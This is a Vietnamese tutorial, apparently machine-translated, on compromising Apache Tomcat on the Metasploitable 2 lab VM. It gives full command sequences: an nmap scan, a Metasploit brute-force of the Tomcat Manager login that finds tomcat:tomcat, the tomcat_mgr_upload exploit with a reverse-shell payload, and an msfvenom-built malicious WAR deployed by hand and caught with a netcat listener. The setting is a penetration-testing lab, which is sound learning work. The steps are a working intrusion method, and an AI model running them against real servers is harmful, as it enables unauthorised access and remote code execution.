Các ứng dụng web là mục tiêu hàng đầu của tin tặc, nhưng đôi khi không chỉ các ứng dụng web kém bảo mật. Các giao diện quản lý web nên được xem xét kỹ lưỡng giống như các ứng dụng mà họ quản lý, đặc biệt là khi chúng có chứa một số loại chức năng tải lên. Bằng cách khai thác lỗ hổng trong Apache Tomcat, một hacker có thể tải lên một cửa hậu và lấy thông tin.
Apache Tomcat là một triển khai mã nguồn mở của một số công nghệ Java , bao gồm Java Servlet, JSP, Java EL và WebSocket. Điều này không cung cấp một môi trường nơi mã Java có thể chạy trên HTTP . Nó được phát hành lần đầu tiên vào năm 1998 và vẫn được phát triển và duy trì cho đến ngày nay theo Giấy phép Apache 2.0.
Tomcat sử dụng các tệp WAR (Lưu trữ ứng dụng web) để triển khai các ứng dụng web thông qua các máy chủ. Các tệp này tương tự như các tệp JAR nhưng chứa mọi thứ mà ứng dụng web cần, chẳng hạn như JavaScript, CSS, v.v. Các phiên bản trước của Apache Tomcat bao gồm một lỗ hổng cho phép kẻ tấn công tải lên và triển khai một cửa hậu WAR .
Dùng Kali Linux để tấn công một phiên bản của Metasploitable 2 , một máy ảo dễ bị tấn công có chủ ý, để làm nổi bật lỗ hổng Tomcat.
Mục tiêu liệt kê
Chúng ta có thể bắt đầu bằng cách thực hiện quét Nmap trên mục tiêu để xác minh rằng Apache Tomcat đang chạy. Công tắc -sV sẽ cố gắng xác định tên và phiên bản của bất kỳ dịch vụ khả dụng nào:
~# nmap -sV 10.10.0.50
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-06 11:33 CDT
Nmap scan report for 10.10.0.50
Host is up (0.0032s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet?
25/tcp open smtp?
53/tcp open domain?
80/tcp open tcpwrapped
111/tcp open rpcbind?
139/tcp open netbios-ssn?
445/tcp open microsoft-ds?
512/tcp open exec?
513/tcp open login?
514/tcp open shell?
1099/tcp open rmiregistry?
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs?
2121/tcp open ccproxy-ftp?
3306/tcp open mysql?
5432/tcp open postgresql?
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11?
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13?
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Chúng ta có thể thấy Tomcat thực sự đang chạy trên cổng HTTP 8180.
Tiếp theo, để khai thác này hoạt động đáng tin cậy, chúng ta cần một bộ thông tin xác thực hợp lệ. Metasploit có một máy quét phụ trợ sẽ cố gắng vũ phu ứng dụng Manager của Tomcat. Chúng ta có thể khởi chạy Metasploit bằng cách gõ msfconsole trong thiết bị đầu cuối .
~# msfconsole
[-] ***rting the Metasploit Framework console...-
[-] * WARNING: No database support: No database YAML file
[-] ***
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMM
MMMN$ vMMMM
MMMNl MMMMM MMMMM JMMMM
MMMNl MMMMMMMN NMMMMMMM JMMMM
MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMNM MMMMMMM MMMMM jMMMM
MMMNI WMMMM MMMMMMM MMMM# JMMMM
MMMMR ?MMNM MMMMM .dMMMM
MMMMNm `?MMM MMMM` dMMMMM
MMMMMMN ?MM MM? NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNm, eMMMMMNMMNMM
MMMMNNMNMMMMMNx MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
https://metasploit.com
=[ metasploit v5.0.20-dev ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 >
Sử dụng lệnh tìm kiếm để tìm bất kỳ mô-đun nào xử lý Apache Tomcat:
msf5 > search tomcat
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/tomcat_administration normal Yes Tomcat Administration Tool Default Access
1 auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09 normal Yes Tomcat UTF-8 Directory Traversal Vulnerability
2 auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09 normal Yes TrendMicro Data Loss Prevention 5.5 Directory Traversal
3 auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 normal No Apache Commons FileUpload and Apache Tomcat DoS
4 auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 normal No Apache Tomcat Transfer-Encoding Information Disclosure and DoS
5 auxiliary/dos/http/hashcollision_dos 2011-12-28 normal No Hashtable Collisions
6 auxiliary/scanner/http/tomcat_enum normal Yes Apache Tomcat User Enumeration
7 auxiliary/scanner/http/tomcat_mgr_login normal Yes Tomcat Application Manager Login Utility
8 exploit/linux/http/cisco_prime_inf_rce 2018-10-04 excellent Yes Cisco Prime Infrastructure Unauthenticated Remote Code Execution
9 exploit/linux/http/cpi_tararchive_upload 2019-05-15 excellent Yes Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
10 exploit/multi/http/struts2_namespace_ognl 2018-08-22 excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection
11 exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual No Apache Struts ClassLoader Manipulation Remote Code Execution
12 exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution
13 exploit/multi/http/tomcat_jsp_upload_bypass 2017-10-03 excellent Yes Tomcat RCE via JSP Upload Bypass
14 exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Yes Apache Tomcat Manager Application Deployer Authenticated Code Execution
15 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution
16 exploit/multi/http/zenworks_configuration_management_upload 2015-04-07 excellent Yes Novell ZENworks Configuration Management Arbitrary File Upload
17 exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10 excellent Yes Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
18 post/multi/gather/tomcat_gather normal No Gather Tomcat Credentials
19 post/windows/gather/enum_tomcat normal No Windows Gather Apache Tomcat Enumeration
Chúng tôi sẽ sử dụng mô-đun tomcat_mgr_login , vì vậy hãy tải nó lên bằng lệnh use :
msf5 > use auxiliary/scanner/http/tomcat_mgr_login
Bây giờ chúng ta có thể xem các tùy chọn để xem các cài đặt có sẵn:
msf5 auxiliary(scanner/http/tomcat_mgr_login) > options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Đầu tiên, đặt tùy chọn máy chủ từ xa thành địa chỉ IP của mục tiêu của chúng tôi:
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Và vì Tomcat đang chạy trên cổng 8180, hãy đặt cả cổng từ xa:
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180
rport => 8180
Đó là tất cả những gì chúng ta phải làm để chạy máy quét này. Gõ chạy để khởi động nó:
msf5 auxiliary(scanner/http/tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:manager (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:root (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:s3cret (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:admin (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:manager (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:root (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:admin (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:manager (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:root (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:admin (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:manager (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:role1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:root (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:vagrant (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 10.10.0.50:8180 - Login Successful: tomcat:tomcat
[-] 10.10.0.50:8180 - LOGIN FAILED: both:admin (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: both:manager (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: both:role1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: both:root (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: both:s3cret (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: both:vagrant (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[-] 10.10.0.50:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Chúng ta có thể thấy nó cố gắng đăng nhập bằng nhiều cách kết hợp tên người dùng và mật khẩu mặc định . Có vẻ như một lần đăng nhập đã thành công với tên người dùng và mật khẩu đều là tomcat .
Nhận Shell với Metasploit
Bây giờ chúng tôi có một bộ thông tin xác thực hợp lệ, chúng tôi có thể khai thác lỗ hổng trong ứng dụng Trình quản lý của Tomcat. Quay lại kết quả tìm kiếm của chúng tôi, xác định mô-đun khai thác tomcat_mgr_upload và tải nó bằng lệnh use :
msf5 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_upload
Sau đó, chúng ta có thể xem các cài đặt hiện tại:
msf5 exploit(multi/http/tomcat_mgr_upload) > options
Module options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Java Universal
Chúng tôi sẽ muốn đặt tùy chọn máy chủ từ xa:
msf5 exploit(multi/http/tomcat_mgr_upload) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Và cổng từ xa chính xác:
msf5 exploit(multi/http/tomcat_mgr_upload) > set rport 8180
rport => 8180
Chúng tôi cũng có thể đặt tên người dùng tại thời điểm này:
msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
Và mật khẩu:
msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
Chúng tôi cũng muốn sử dụng một tải trọng thích hợp . Để xem các tải trọng có sẵn, sử dụng lệnh show :
msf5 exploit(multi/http/tomcat_mgr_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom normal No Custom Payload
1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures)
13 multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures)
Các java / shell_reverse_tcp tải trọng sẽ làm việc trong trường hợp này. Sử dụng lệnh set để đặt nó làm trọng tải hiện tại:
msf5 exploit(multi/http/tomcat_mgr_upload) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
Vì bài viết đang sử dụng lớp vỏ ngược, cần chỉ định địa chỉ IP của máy cục bộ của chúng tôi:
msf5 exploit(multi/http/tomcat_mgr_upload) > set lhost 10.10.0.1
lhost => 10.10.0.1
Và một cảng địa phương của sự lựa chọn của chúng tôi:
msf5 exploit(multi/http/tomcat_mgr_upload) > set lport 4321
lport => 4321
Chúng ta nên tốt để đi vào thời điểm này. Chỉ cần gõ run để khởi chạy khai thác:
msf5 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying LUMzvVZI0wSUrt...
[*] Executing LUMzvVZI0wSUrt...
[*] Command shell session 1 opened (10.10.0.1:4321 -> 10.10.0.50:44738) at 2020-01-06 11:59:06 -0500
[*] Undeploying LUMzvVZI0wSUrt ...
Chúng ta có thể thấy rằng một phiên đã được mở thành công. Bây giờ chúng ta có một vỏ lệnh cơ bản và có thể chạy các lệnh như id và uname -a để xác minh rằng chúng ta đã thỏa hiệp mục tiêu:
~# id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Tệp tin cửa sau
Sử dụng Metasploit rất dễ, nhưng đó không phải là cách duy nhất để thực hiện khai thác này. Chúng tôi có thể tải lên tệp WAR độc hại theo cách thủ công để hiểu rõ hơn về những gì đang diễn ra dưới mui xe. Để bắt đầu, chúng ta có thể sử dụng msfvenom để tạo tệp WAR backlink của mình:
~# msfvenom -p java/shell_reverse_tcp lhost=10.10.0.1 lport=4321 -f war -o pwn.war
Payload size: 13395 bytes
Final size of war file: 13395 bytes
Saved as: pwn.war
Trong lệnh trên, cờ -p chỉ định tải trọng, lhost là địa chỉ IP của máy cục bộ của chúng tôi, lport là cổng nghe trên máy của chúng tôi, cờ -f chỉ định định dạng mong muốn và cờ -o là tên của các tập tin đầu ra.
Tiếp theo, chúng ta cần đăng nhập vào Apache Tomcat. Trong trình duyệt, đi đến địa chỉ IP của mục tiêu trên cổng 8180 và chúng ta sẽ thấy trang chào mừng Apache Tomcat:
Tiếp theo, nhấp vào liên kết “Trình quản lý Tomcat” và chúng tôi sẽ được cung cấp một biểu mẫu xác thực nơi chúng tôi có thể đăng nhập bằng thông tin đăng nhập mặc định mà chúng tôi đã tìm thấy trước đó:
Cuộn xuống phần “Triển khai” và duyệt đến tệp WAR mà chúng ta vừa tạo bằng msfvenom:
Nhấp vào nút “Triển khai” và chúng tôi sẽ được đưa trở lại đầu trang. Bây giờ, tất cả những gì chúng ta phải làm là nhấp vào tệp chúng ta vừa triển khai và tải trọng của chúng tôi sẽ chạy.
Nhưng trước tiên, chúng ta cần thiết lập một trình nghe trên máy cục bộ của chúng ta. Netcat luôn là một lựa chọn tốt – chỉ cần đảm bảo sử dụng cùng một cổng mà chúng tôi đã chỉ định trước đó với msfvenom:
~# nc -lvnp 4321
listening on [any] 4321 ...
Cuối cùng, quay lại ứng dụng Manager, tìm tên tệp chúng tôi đã triển khai và nhấp vào nó:
Nếu mọi thứ hoạt động tốt, chúng ta sẽ thấy một kết nối mở trên trình nghe Netcat của chúng tôi:
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 43521
Và một lần nữa, chúng ta có thể đưa ra các lệnh như id và uname -a để xác minh rằng chúng ta đã ghi được mục tiêu và bây giờ chúng ta có một trình bao là người dùng tomcat55.
~# id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GN